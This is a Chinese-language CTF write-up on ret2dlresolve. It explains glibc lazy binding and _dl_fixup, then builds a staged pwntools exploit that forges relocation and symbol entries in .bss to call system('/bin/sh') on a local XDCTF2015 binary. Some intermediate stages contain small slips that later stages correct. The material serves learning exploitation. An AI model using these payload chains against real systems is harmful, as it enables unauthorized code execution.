由于No RELRO涉及到动态链接的东西不多,所以原理没有细讲,这里补一下。以
原理 正常动态链接的流程如下:
*蓝线无特殊含义,仅作不同线的区分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 _dl_runtime_resolve(link_map, reloc_arg) ↓ _dl_fixup(link_map, reloc_arg) ↓ reloc = DT_JMPREL + reloc_offset(reloc_arg) = .rel.plt + reloc_arg ↓ 读取 Elf32_Rel: r_offset = 解析结果写入哪里 r_info = 符号下标 + 重定位类型 ↓ 检查: ELF32_R_TYPE(r_info) == R_386_JMP_SLOT ↓ sym_index = ELF32_R_SYM(r_info) = r_info >> 8 ↓ sym = .dynsym + sym_index * sizeof(Elf32_Sym) = .dynsym + sym_index * 0x10 ↓ 读取 Elf32_Sym: st_name = 函数名在 .dynstr 里的偏移 st_info = 符号属性,例如 GLOBAL + FUNC ↓ name_addr = .dynstr + st_name ↓ _dl_lookup_symbol_x(name_addr, ...) ↓ 找到 libc 里的真实函数地址 ↓ 把结果写到: l_addr + r_offset
以下摘自《CTF竞赛权威指南》:
每个符号都是一个 Elf_Sym 结构体的实例,这些符号又共同组成了 .dynsym 段。Elf_Sym 结构体如下所示。其中 st_name 域是相对于 .dynstr 段的偏移,保存符号名字字符串;st_value 域是当符号被导出时用于存放虚拟地址的,不导出时则为 NULL。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym; #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
导入符号的解析需要进行重定位,每个重定位项都是一个 Elf_Rel 结构体的实例,这些项又共同组成了 .rel.plt 段(用于导入函数)和 .rel.dyn 段(用于导入全局变量)。Elf_Rel 结构体如下所示。其中 r_offset 域用于保存解析后的符号地址写入内存的位置(绝对地址),r_info 域的高位 3 个字节用于标识该符号在 .dynsym 段中的位置(无符号下标)。
1 2 3 4 5 6 7 8 9 10 11 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
符号解析的核心关系可以写成:
1 2 3 reloc = JMPREL + reloc_ arg sym = SYMTAB + ELF32_ R_ SYM(reloc->r_ info) * sizeof(Elf32_ Sym) name = STRTAB + sym->st_ name
其中:
JMPREL 对应 .rel.plt;
SYMTAB 对应 .dynsym;
STRTAB 对应 .dynstr;
r_offset 指向要回写函数真实地址的位置;
i386 下 PLT 解析常见类型为 R_386_JUMP_SLOT = 7。
延迟绑定机制、PLT0 与 _dl_runtime_resolve 因此,当程序导入一个函数时,动态链接器会同时在 .dynstr 段中添加一个函数名字符串,在 .dynsym 段中添加一个指向函数名字符串的 Elf_Sym,在 .rel.plt 段中添加一个指向 Elf_Sym 的 Elf_Rel。最后,这些 Elf_Rel 的 r_offset 域又构成了 GOT 表,保存在 .got.plt 段中。
由于引入了延迟绑定机制,符号的解析只有在第一次使用的时候才进行,该过程是通过 PLT 表进行的。每个导入函数都在 PLT 表中有一个条目,其第 1 条指令无条件跳转到对应 GOT 条目保存的地址处。而每个 GOT 条目在初始化时都默认指向对应 PLT 条目的第 2 条指令的位置,相当于又跳回来了。此时继续执行 PLT 后两条指令,先将导入函数的标识(Elf_Rel 在 .rel.plt 段中的偏移)压栈,然后跳转到 PLT0 执行。PLT0 包含两条指令,先将 GOT[1] 的值(一个 link_map 对象地址)压栈,然后跳转到 GOT[2] 保存的地址处,也就是 _dl_runtime_resolve() 函数。函数参数 link_map_obj 用于获取解析导入函数所需的信息,参数 reloc_index 则标识了解析哪一个导入函数。解析完成后,相应的 GOT 条目会被修改为正确的函数地址,此后程序在调用该函数时就不需要再次进行解析了。
讲义中的调试输出如下:
1 2 3 4 5 6 7 0x8048597 <main+120> push eax 0x8048598 <main+121> push 0x1 0x804859a <main+123> call 0x80483d0 <write@plt> 0x80483d0 <write@plt+0> jmp DWORD PTR ds:0x804a01c 0x80483d6 <write@plt+6> push 0x20 //reloc_arg 0x80483db <write@plt+11> jmp 0x8048380
查看 GOT/PLT0:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gef➤ x/wx 0x804a01c 0x804a01c: 0x080483d6 gef➤ x/4i 0x8048380 0x8048380: push DWORD PTR ds:0x804a004 0x8048386: jmp DWORD PTR ds:0x804a008 0x804838c: add BYTE PTR [eax], al 0x804838e: add BYTE PTR [eax], al gef➤ x/2wx 0x804a004 0x804a004: 0xf7ffd918 0xf7fee000 # link_map, _dl_runtime_resolve gef➤ p _dl_runtime_resolve $1 = {<text variable, no debug info>} 0xf7fee000 <_dl_runtime_resolve>
_dl_runtime_resolve() 函数在 sysdeps/i386/dl-trampoline.S 中用汇编实现,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 gef➤ disassemble _dl_runtime_resolve 0xf7fee000 <+0>: push eax 0xf7fee001 <+1>: push ecx 0xf7fee002 <+2>: push edx 0xf7fee003 <+3>: mov edx,DWORD PTR [esp+0x10] 0xf7fee007 <+7>: mov eax,DWORD PTR [esp+0xc] 0xf7fee00b <+11>: call 0xf7fe77e0 <_dl_fixup> 0xf7fee010 <+16>: pop edx 0xf7fee011 <+17>: mov ecx,DWORD PTR [esp] 0xf7fee014 <+20>: mov DWORD PTR [esp],eax 0xf7fee017 <+23>: mov eax,DWORD PTR [esp+0x4] 0xf7fee01b <+27>: ret 0xc
其中,_dl_fixup() 函数在 elf/dl-runtime.c 中实现,用于解析导入函数的真实地址,并改写 GOT。
_dl_fixup() 关键源码讲义中截取了 _dl_fixup 的关键代码。该函数从 link_map 中取出 .dynsym、.dynstr、.rel.plt 等信息,再根据 reloc_arg 定位重定位项,进而解析符号:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); ...... result = _dl_lookup_symbol_x ( strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE ( result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); ...... value = elf_machine_plt_value (l, reloc, value); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
动态链接器用 DT_JMPREL 找到 .rel.plt;
通过 reloc_arg 找到一个 Elf32_Rel;
通过 ELF32_R_SYM(reloc->r_info) 找到 .dynsym 中的 Elf32_Sym;
通过 sym->st_name 找到 .dynstr 中的函数名;
通过函数名在 libc 等共享库中查找目标地址;
最后调用 elf_machine_fixup_plt 把地址写回 GOT。
此外,由于 RELRO 保护机制会影响延迟绑定,因此也会影响 ret2dl-resolve:
Partial RELRO :包括 .dynamic 段在内的一些段会被标识为只读。
Full RELRO :在 Partial RELRO 的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt 段被完全初始化为目标函数的地址,并标记为只读。
开启 Partial RELRO,使 .dynamic 段不可写
当 .dynamic 段不可写时,已知 _dl_runtime_resolve() 的第二个参数 reloc_index 对应 Elf_Rel 在 .rel.plt 段中的偏移,动态装载器将其加上 .rel.plt 的基地址来得到目标 Elf_Rel 的内存地址。然而,当这个内存地址超出了 .rel.plt 段,并最终落在 .bss 段中时,攻击者就可以在那里伪造一个 Elf_Rel,使 r_offset 的值是一个可写的内存地址,用来将解析后的函数地址写在那里。
同理,使 r_info 的值是一个能够将动态装载器导向攻击者控制内存的下标,指向一个位于它后面的 Elf_Sym,而 Elf_Sym 中的 st_name 指向它后面的函数名字符串。
其他更复杂的攻击场景,包括修改 GOT[1] 的 link_map 对象,以及绕过 Full RELRO 的方法等,可以阅读论文进一步了解。
例题 手动解 参考:ret2dlresolve - CTF Wiki ,《CTF竞赛权威指南》;最后附上了完整代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <unistd.h> #include <stdio.h> #include <string.h> void vuln () { char buf[100 ]; setbuf(stdin , buf); read(0 , buf, 256 ); } int main () { char buf[100 ] = "Welcome to XDCTF2015~!\n" ; setbuf(stdout , buf); write(1 , buf, strlen (buf)); vuln(); return 0 ; }
1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/理论学习/高级ROP/Partial RELRO/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
在这种情况下,ELF 文件中的 .dynamic节将会变成只读的,这时我们可以通过伪造重定位表项的方式来调用目标函数。先手搓,再讲使用工具的办法。从以下6个步骤来讲手搓的办法:
Stage1 这一步是迁移到.bss段,写入/bin/sh\x00,并调用write函数输出。
.bss段可读可写的情况下,把栈迁移到这里,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ readelf -S pwn There are 29 section headers, starting at offset 0x3610 : 节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [ 9 ] .rel.dyn REL 08048368 000368 000018 08 A 5 0 4 [10 ] .rel.plt REL 08048380 000380 000028 08 AI 5 22 4 [11 ] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4 [12 ] .plt PROGBITS 08049030 001030 000060 04 AX 0 0 16 [13 ] .text PROGBITS 08049090 001090 000203 00 AX 0 0 16 ... [20 ] .dynamic DYNAMIC 0804b f0c 002f 0c 0000e8 08 WA 6 0 4 [21 ] .got PROGBITS 0804b ff4 002f f4 00000 c 04 WA 0 0 4 [22 ] .got.plt PROGBITS 0804 c000 003000 000020 04 WA 0 0 4 [23 ] .data PROGBITS 0804 c020 003020 000008 00 WA 0 0 4 [24 ] .bss NOBITS 0804 c028 003028 000004 00 WA 0 0 1 [25 ] .comment PROGBITS 00000000 003028 00002 d 01 MS 0 0 1 [26 ] .symtab SYMTAB 00000000 003058 0002 a0 10 27 18 4 [27 ] .strtab STRTAB 00000000 0032f 8 000214 00 0 0 1 $ readelf -l pwn Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align ... LOAD 0x002f04 0x0804bf04 0x0804bf04 0x00124 0x00128 RW 0x1000
这个段从:0x0804bf04开始,它所在页的页起始地址是:0x0804b000;而它结束在:0x0804c02c,这个地址已经跨到了下一页:0x0804c000 ~ 0x0804d000,所以实际可写映射是:0x0804b000 ~ 0x0804d000。
.bss section 虽然只有 4 字节;但 base_stage = 0x0804c828(.bss+0x800) 所在的内存页是 RW,.bss+0x500亦可;因此 可以写进去payload。
1 2 3 4 5 6 $ ROPgadget --binary pwn --only 'leave|ret' Gadgets information ============================================================ 0x08049115 : leave ; ret0x0804900e : ret0x0804913b : ret 0xe8c1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *elf = ELF('./pwn' ) p = process('./pwn' ) offset = 112 bss_addr = elf.bss() base_stage = bss_addr + 0x800 read_addr = elf.plt['read' ] write_addr = elf.plt['write' ] leave_ret = 0x8049115 p.recvuntil('Welcome to XDCTF2015~!\n' ) payload1 = flat( b'a' *(offset-4 ), p32(base_stage), p32(read_addr), p32(leave_ret), p32(0 ), p32(base_stage), p32(100 ), ) p.send(payload1)
这个时候已经栈迁移到.bss段,接下来创建栈空间:
1 2 3 4 5 6 7 8 9 10 11 payload2 = flat( p32(base_stage+0x50 ), p32(write_addr), p32(0xdeadbeef ), p32(1 ), p32(base_stage+80 ), p32(8 ), ).ljust(80 ,b'b' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
Stage2 相较于上一步直接调用write@PLT,现在我们直接在.bss段上伪造plt表,强制使用一次延迟绑定
我们先来看一下write@plt
1 2 3 4 5 6 7 0x8048597 <main+120> push eax 0x8048598 <main+121> push 0x1 0x804859a <main+123> call 0x80483d0 <write@plt> 0x80483d0 <write@plt+0> jmp DWORD PTR ds:0x804a01c 0x80483d6 <write@plt+6> push 0x20 //reloc_arg 0x80483db <write@plt+11> jmp 0x8048380 //PLT[0]
把stage1中的write@plt替换成栈上伪造的 write@plt的
1 2 3 4 5 6 7 8 9 10 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr payload2 = flat( p32(base_stage+0x50 ), p32(plt_0), p32(0x20 ), p32(0xdeadbeef ), p32(1 ), p32(base_stage+80 ), p32(8 ), ).ljust(80 ,b'b' ) + b'/bin/sh\x00'
这里用到elf.get_section_by_name('.plt').header.sh_addr作用是取对应区域的起始地址
逐词拆解这行代码:把代码拆成 4 段,每段对应一个「查地图」的动作:
1 2 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr
1. elf → 「拿地图」 就是你刚才加载好的那个「程序百科全书」对象,所有信息都从这里查。
2. .get_section_by_name('.plt') → 「在地图上找叫“.plt”的地标」
这是 elf 对象的一个功能,意思是「按名字找节(Section)」 。
这里找的是 .plt 节(过程链接表),也就是我们之前说的「专门存函数跳转指令的仓库」。
执行完这步,会返回一个「节对象」,里面存了 .plt 节的所有详细信息。
每个节(比如 .plt、.text)都有一个「节头(Section Header)」 ,就像地标的详细信息牌,上面写着:
这个地标(节)在内存里的起始门牌号(地址)
这个地标(节)占多大地方
这个地标(节)是什么类型的
这里的 .header,就是去访问 .plt 节的「节头信息牌」。
4. .sh_addr → 「在信息牌上找“起始门牌号”」 sh_addr 是节头里的一个固定字段,全称是 「Section Header Address」 ,意思就是「这个节在内存里的起始虚拟地址」 。
因为 plt0 就在 .plt 节的最开头 ,所以拿到 .plt 节的起始地址,就等于拿到了 plt0 的地址。
Stage3 在上面的基础上进一步伪造ELF_Rel(r_info和r_offset)
可以进一步解释一下这里0x20的作用:_dl_fixup()源码如下
1 2 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 取出 Elf_Rel
拿到这里的reloc_offset(也就是reloc_arg)之后,reloc计算公式如下:
对应的reloc的地址 = DT_JMPREL的起始地址(0x8048380) + reloc_offset(write就是刚才的0x20);
验证一下0x8048380 + 0x20 = 0x80483A0确实是write
1 2 3 4 5 6 7 8 $ readelf -r pwn 重定位节 '.rel.plt' at offset 0x380 contains 5 entries: 偏移量 信息 类型 符号值 符号名称 0804c00c 00000 107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0 0804c010 00000207 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.34 0804c014 00000307 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804c018 00000507 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0 0804c01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
伪造的Elf_JmpRel格式需要和上面对应:r_info(0x607)和r_offset(0x0804c01c);跳转到对应的r_offset就是write@got的地址(如下),所以这里的r_offset = elf.got['write']
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr index_offset = base_stage + 28 - rel_plt fake_reloc = flat( p32(elf.got['write' ]), p32(0x607 ), ) payload2 = flat( p32(base_stage + 0x50 ), p32(plt_0), p32(index_offset), p32(0xdeadbeef ), p32(1 ), p32(base_stage + 80 ), p32(8 ), ) payload2 += fake_reloc payload2 = payload2.ljust(80 , b'B' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
Stage4 这里一步伪造Elf_Sym的.dynsym的部分
1 2 $ python3 exp.py beginning addr of .dynsym = 0x804820c
Elf_Sym 地址 = .dynsym 起始地址 + sym_index * sizeof(Elf_Sym);
对于write来说Elf_Sym_addr of write = 0x804820c + 6*0x10 = 0x804826c
1 2 3 4 5 6 7 8 9 $ objdump -s -j .dynsym pwn Contents of section .dynsym: 804820c 00000000 00000000 00000000 00000000 ................ 804821c 24000000 00000000 00000000 12000000 $............... 804822c 2b000000 00000000 00000000 12000000 +............... 804823c 43000000 00000000 00000000 12000000 C............... 804824c 67000000 00000000 00000000 20000000 g........... ... 804825c 10000000 00000000 00000000 12000000 ................ 804826c 17000000 00000000 00000000 12000000 ................
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
1 2 3 4 5 6 st_name = 0x17000000 st_value = 0x00000000 st_size = 0x00000000 st_info = 0x12 st_other = 0x00 st_shndx = 0x0000
所以fake_sym = p32(17) + p32(0)*2 + p32(12)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr index_offset = base_stage + 28 - rel_plt fake_reloc = flat( p32(elf.got['write' ]), p32(0x607 ), ) dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr fake_sym = p32(17 ) + p32(0 )*2 + p32(12 ) fake_sym_addr = base_stage + 36 align = (0x10 -((fake_sym_addr - dynsym) & 0xf )) & 0xf fake_sym_addr += align payload2 = flat( p32(base_stage + 0x50 ), p32(plt_0), p32(index_offset), p32(0xdeadbeef ), p32(1 ), p32(base_stage + 80 ), p32(8 ), ) payload2 += fake_reloc payload2 += align * b'a' payload2 += fake_sym payload2 = payload2.ljust(80 , b'B' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
正常sym = &symtab[ELFW(R_SYM)(reloc->r_info)]
= symtab + sym_index * sizeof(Elf_Sym)
= dynsym + sym_index * 0x10
所以伪造的fake_sym需要满足:
(fake_sym - dynsym) % 0x10 = 0
Stage5 这一步是把.dynstr的字符串写在栈上
_dl_fixup()源码
1 2 3 result = _dl_lookup_symbol_x ( strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
result = strtab + st_name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr index_offset = base_stage + 28 - rel_plt dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr fake_sym_addr = base_stage + 36 align = (0x10 -((fake_sym_addr - dynsym) & 0xf )) & 0xf print (type (align))fake_sym_addr += align st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = st_bind<<4 + st_type fake_sym = p32(st_name) + p32(0 )*2 + p32(st_info) r_sym = (fake_sym_addr - dynsym) // 0x10 r_type = 0x7 r_info = (r_sym<<8 ) | r_type fake_reloc = flat( p32(elf.got['write' ]), p32(r_info),) payload2 = flat( p32(base_stage + 0x50 ), p32(plt_0), p32(index_offset), p32(0xdeadbeef ), p32(1 ), p32(base_stage + 80 ), p32(8 ), ) payload2 += fake_reloc payload2 += align * b'a' payload2 += fake_sym payload2 += b'write\x00' payload2 = payload2.ljust(80 , b'B' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
Stage6 这里只用把write的参数和b’write\x00’换成system的参数和b’system\x00’。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr index_offset = base_stage + 28 - rel_plt dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr print ('beginning addr of .dynsym = ' +hex (dynsym))fake_sym_addr = base_stage + 36 align = (0x10 -((fake_sym_addr - dynsym) & 0xf )) & 0xf print (type (align))fake_sym_addr += align st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4 ) | st_type fake_sym = p32(st_name) + p32(0 )*2 + p32(st_info) r_sym = (fake_sym_addr - dynsym) // 0x10 r_type = 0x7 r_info = (r_sym<<8 ) | r_type print (p32(r_info))fake_reloc = flat( p32(elf.got['write' ]), p32(r_info),) payload2 = flat( p32(base_stage + 0x50 ), p32(plt_0), p32(index_offset), p32(0xdeadbeef ), p32(base_stage + 80 ) ).ljust(28 , b'A' ) payload2 += fake_reloc payload2 += align * b'a' payload2 += fake_sym payload2 += b'system\x00' payload2 = payload2.ljust(80 , b'B' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
以下是完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 from pwn import *elf = ELF('./pwn' ) p = process('./pwn' ) offset = 112 bss_addr = elf.bss() base_stage = bss_addr + 0x800 read_addr = elf.plt['read' ] write_addr = elf.plt['write' ] leave_ret = 0x8049115 p.recvuntil('Welcome to XDCTF2015~!\n' ) payload1 = flat( b'a' *(offset-4 ), p32(base_stage), p32(read_addr), p32(leave_ret), p32(0 ), p32(base_stage), p32(100 ), ) p.send(payload1) plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr index_offset = base_stage + 28 - rel_plt dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr print ('beginning addr of .dynsym = ' +hex (dynsym))fake_sym_addr = base_stage + 36 align = (0x10 -((fake_sym_addr - dynsym) & 0xf )) & 0xf print (type (align))fake_sym_addr += align st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4 ) | st_type fake_sym = p32(st_name) + p32(0 )*2 + p32(st_info) r_sym = (fake_sym_addr - dynsym) // 0x10 r_type = 0x7 r_info = (r_sym<<8 ) | r_type print (p32(r_info))fake_reloc = flat( p32(elf.got['write' ]), p32(r_info),) payload2 = flat( p32(base_stage + 10 ), p32(plt_0), p32(index_offset), p32(0xdeadbeef ), p32(base_stage + 80 ) ).ljust(28 , b'A' ) payload2 += fake_reloc payload2 += align * b'a' payload2 += fake_sym payload2 += b'system\x00' payload2 = payload2.ljust(80 , b'B' ) + b'/bin/sh\x00' p.send(payload2) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.binary = elf = ELF("./pwn" ) rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf,symbol="system" ,args=["/bin/sh" ]) rop.read(0 ,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() io = process("./pwn" ) io.recvuntil("Welcome to XDCTF2015~!\n" ) payload = flat({112 :raw_rop,256 :dlresolve.payload}) io.sendline(payload) io.interactive()
payload = flat({112:raw_rop,256:dlresolve.payload})
112是栈溢出的偏移量,256是程序mian函数中read的字节数